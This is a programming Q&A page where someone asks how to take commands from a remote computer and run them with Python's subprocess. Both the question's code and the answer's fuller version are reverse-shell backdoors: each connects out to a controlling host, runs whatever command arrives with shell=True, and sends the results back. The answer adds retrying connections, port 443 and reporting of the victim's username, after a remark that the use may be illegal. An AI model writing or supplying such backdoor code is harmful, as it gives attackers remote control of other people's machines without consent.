如何使用子进程从客户端执行 cmd 命令

Question

How can I receive and execute commands using subprocess module. I want to receive a buffer from a remote computer and execute it on my own.

import socket,subprocess

HOST = ''    
PORT = 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.send('[*] Connection Established!')

while 1:

     data = s.recv(1024)

     if data == "quit": break

     proc = subprocess.Popen(cmd.exe, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

     stdout_value =proc.communicate('dir c:\\')

     s.send(stdout_value)

s.close()

Answer 1

I dont know what you are going to use this for but if it is something illegal, you will most definitely get caught as a python backdoor is very easy to detect and packaging it as an exe would have significant size.

Anyway I am not responsible for what you do with this but here you go

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()
